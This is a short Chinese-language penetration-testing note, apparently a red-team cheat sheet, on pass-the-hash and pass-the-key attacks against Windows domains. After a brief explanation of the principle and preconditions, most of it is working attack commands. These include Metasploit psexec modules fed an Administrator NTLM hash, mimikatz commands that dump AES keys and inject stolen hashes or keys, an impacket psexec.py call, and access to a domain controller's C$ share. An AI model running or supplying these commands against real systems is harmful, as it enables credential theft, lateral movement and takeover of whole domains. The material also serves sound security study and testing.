Pass The Hash(Key) 憑據傳遞攻擊
原理
由於在進行認證的時候,是用用戶hash加密時間戳,即使在使用密碼進行登錄的情況下,也是先把密碼加密成hash,再進行認證。因此在只有用戶hash,沒有明文密碼的情況下也是可以進行認證的。不管是rubeus還是impacket里面的相關腳本都是支持直接使用hash進行認證。其中,如果hash的ntlm hash,然后加密方式是rc4,這種就算做是pass the hash,如果是hash是aes key(使用sekurlsa::ekeys導出來),就算是pass the key。在很多地方,不支持rc4加密方式的時候,使用pass the key不失為一種好方法。
利用條件
-
在工作組環境中:
Windows Vista 之前的機器,可以使用本地管理員組內用戶進行攻擊。
Windows Vista 之后的機器,只能是administrator用戶的哈希值才能進行哈希傳遞攻擊,其他用戶(包括管理員用戶但是非administrator)也不能使用哈希傳遞攻擊,會提示拒絕訪問。 -
在域環境中:
只能是域管理員組內用戶(可以是域管理員組內非administrator用戶)的哈希值才能進行哈希傳遞攻擊,攻擊成功后,可以訪問域內任何一台機器 -
修改目標機器的 LocalAccountTokenFilterPolicy 為1后,使用普通域管理員賬號也可進行哈希傳遞攻擊
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy
利用方法
msf
use exploit/windows/smb/psexec_psh
msf5 exploit(windows/smb/psexec_psh) > set rhosts 192.168.1.107
msf5 exploit(windows/smb/psexec_psh) > set smbuser Administrator
exploit(windows/smb/psexec_psh) > set smbpass 31d6cfe0d16ae931b73c59d7e0c089c0:249dbaafa8643e3d2f7c692761ba83e7
或者
use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set rhosts 192.168.1.107
msf5 exploit(windows/smb/psexec) > set smbpass 31d6cfe0d16ae931b73c59d7e0c089c0:249dbaafa8643e3d2f7c692761ba83e7
msf5 exploit(windows/smb/psexec) > set smbuser Administrator
msf5 exploit(windows/smb/psexec) > run
mimikatz
privilege::debug
sekurlsa::pth /user:用戶名 /domain:域名 /ntlm:NTLMHash
psexec.py
python /usr/share/doc/python3-impacket/examples/psexec.py -hashes 31d6cfe0d16ae931b73c59d7e0c089c0:249dbaafa8643e3d2f7c692761ba83e7 ./Administrator@192.168.1.109
pass the key
- 前提:只適用於域環境,並且目標主機需要安裝 KB2871997補丁
//使用mimikatz抓取AES-256密鑰
privilege::debug
sekurlsa::ekeys
//導入
privilege::debug
sekurlsa::pth /user:用戶名 /domain:域名 /aes256:AES256密鑰
//查看DC的共享文件夾
dir \\dc\c$